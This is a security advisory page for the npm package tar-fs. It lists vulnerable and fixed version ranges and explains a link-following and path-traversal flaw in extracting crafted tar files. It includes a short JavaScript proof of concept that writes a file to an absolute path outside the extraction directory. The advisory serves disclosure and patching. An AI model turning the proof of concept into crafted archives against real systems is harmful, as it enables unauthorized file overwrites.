tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File
Affected releases · tar-fs
- 3.x3.0.0 – 3.0.6Fixed in 3.0.7
- 2.x2.0.0 – 2.1.1Fixed in 2.1.2
- 1.x1.0.0 – 1.16.3Fixed in 1.16.4
- 0.5.x and older0.1.0 – 0.5.2No fix, no longer updated
On 3.x, the newest line:
npm install tar-fs@3.0.7Every release on a timeline
Affected
3.0.0 – 3.0.6
7 releases
Fixed
3.0.7 – 3.1.3
8 releases, latest
Affected
2.0.0 – 2.1.1
4 releases
Fixed
2.1.2 – 2.1.5
4 releases
Affected
1.0.0 – 1.16.3
30 releases
Fixed
1.16.4 – 1.16.6
3 releases
Affected
0.1.0 – 0.5.2
21 releases
What happens
An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.
This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.
PoC
// Create a writable stream to extract the tar content
const extractStream = tarfs.extract('/', {
// We can ignore the file type checks to allow the extraction of the malicious file
ignore: (name) => false,
});
// Create a tar stream
const tarStream = tarfs.pack().on('error', (err) => {
throw err;
});
// Append the malicious entry to the tar stream
tarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));
// Finalize the tar stream
tarStream.finalize();
// Pipe the tar stream into the extract stream
tarStream.pipe(extractStream);A whole project to check? Paste its package.json in the dependency check: every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.